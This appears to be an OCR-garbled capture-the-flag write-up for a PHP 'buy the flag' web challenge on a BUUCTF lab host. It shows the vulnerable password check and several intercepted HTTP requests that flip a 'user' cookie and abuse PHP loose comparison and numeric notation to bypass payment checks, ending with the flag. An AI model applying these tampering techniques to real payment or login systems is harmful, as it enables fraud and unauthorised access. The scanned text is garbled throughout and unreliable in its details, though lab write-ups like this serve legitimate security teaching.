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If you want to buy the FLAG:
You must be a student from CUIT!!!

You must be answer the correct password!!!
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" post money and password
if (isset ($ POST[ password’])) {
$password = § POST[ password’ ]
if (is_numeric ($password)) {
echo “password can’t be number<{/br>”;
}elseif ($password == 404) {
echo “Password Right!</br>”;
}
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Request

Pretty Raw Hex )

POST /pay.php HTTP/1.1

Host: 1Zh72590-c528-42e9-8e3d-21a2d7831099. noded. buuoj.cn: 81

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html, application/xzhtml4xnl, application/=ml;q=0.9, image/avif, image/webp, */*;¢q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/z-www-form-urlencoded

Content-Length: 30

% Oorigin: http://12b72590-c528-42e9-8e3d-21a2d783109%. node4. buuoj.cn: 81

DNT: 1

Connection: close

Referer: http://12b72590-c528-4229-823d-21a2d7831099. node4. buucj.cn: 81/ pay. php

Cookie: UM _distinctid=17d&081fcd4aa-0635f141ledalaa-4c3ell17e-240000-17d6081fcdbl249; user=0
Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

o I N Y OO Y I o T B

o

o s YT ) Y O VI N I S

w

password=404asmoney=1000000000
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Only Cuit's students can buy the FLAG
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Request

Pretty Raw Hex =1 \n

POST /pay.php HTTE/1.1

Host: 1Zbh72590-c528-42e9-8e3d-e1a2d78310599. noded. buuoj.cn: 81

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html, application/xzhtml+xzml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/xz-www-form-urlencoded

Content-Length: 43

5 Origin: http://1Zb72550-c528-4Ze9-8e3d-e1aZd7831059. noded. buuoj.cn: 81

10 DNT: 1

11 Connection: close

Referer: http://1Zbh72590-c528-42e9-8e3d-e1aZd7831099. noded. buuoj.cn: 81/ pay. php

Cookie: UM_distinctid=17d&081fc4aa-0635f14ledalaa-4c3ellTe-240000-17d6081Fc4b1249; user=0
Upgrade-Insecure-Reguests: 1

Pragma: no-cache

Cache-Control: no-cache
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password=404asmoney=1000000000&student=CUIT
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Pretty Raw Hex =j \n

POST /pay.php HTTE/1.1

Host: 1Zb72590-c528-42e9-8e3d-e1aZd7831099. node4. buuoj.cn: 81

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; rv:99.0) Gecko/Z0100101 Firefox/99.0
Accept: text/html, application/zhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8
Accept-Language: zh-CN,en-UsS;g=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/xz-www-form-urlencoded

2 Content-Length: 43

9 Origin: http://1Z2b72590-c528-42e9-8e3d-e1aZd7831099. node4. buucj.cn: 81

DNT: 1

Connection: close

Referer: http://12b72590-c528-42e9-8e3d-21ad7831099. node4. buucj.cn: 81/ pay. php

Cookie: UM distinctid=17d6081fc4aa-0635f14led4alaa-4c3e217e-240000-17dE0B1fc4b1249; user=1
Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache
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password=404a&money=1000000000&=student=CUIT

you are Cuiter
Password Right!
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Pretty Raw Hex =] \n
1 POST /pay.php HTTE/1.1

2 Host: 1Zb72590-c528-4Ze9-8e3d-e1aZd7831099.noded. buuoj.cn: 81

3 User—-Agent: Mo=zilla/5.0 (Windows NT 10.0; WinG4; =64; rv:99.0) Gecko/20100101 Firefox/99.10

4 Accept: text/html,application/zhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8

5 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

& Accept-Encoding: gzip, deflate

Content-Type: application/z-www-form-urlencoded

Content-Length: 38

Origin: http://1Zb72590-c528-42e9-8e3d-e1aZd7831099. noded. buuoj.cn: 81

10 DNT: 1

11 Connection: close

12 Referer: http://1Zh72590-c528-42e9-8e3d-21a2d7831099.node4.buuoj.cn: 81/ pay. php

13 Cookie: UM distinctid=17dE081fcd4aa-0635f141ledalaa-4c3e217e-240000-17d6081fcdbl249; user=1
14 Upgrade-Insecure—-Requests: 1

15 Pragma: no-cache

16 Cache-Control: no-cache
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18 password=404a&money=1lel00&student=CUIT
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Password Right!
flag{80ae2927-05f3-4f37-95d2-72f7e3d6b8a0}
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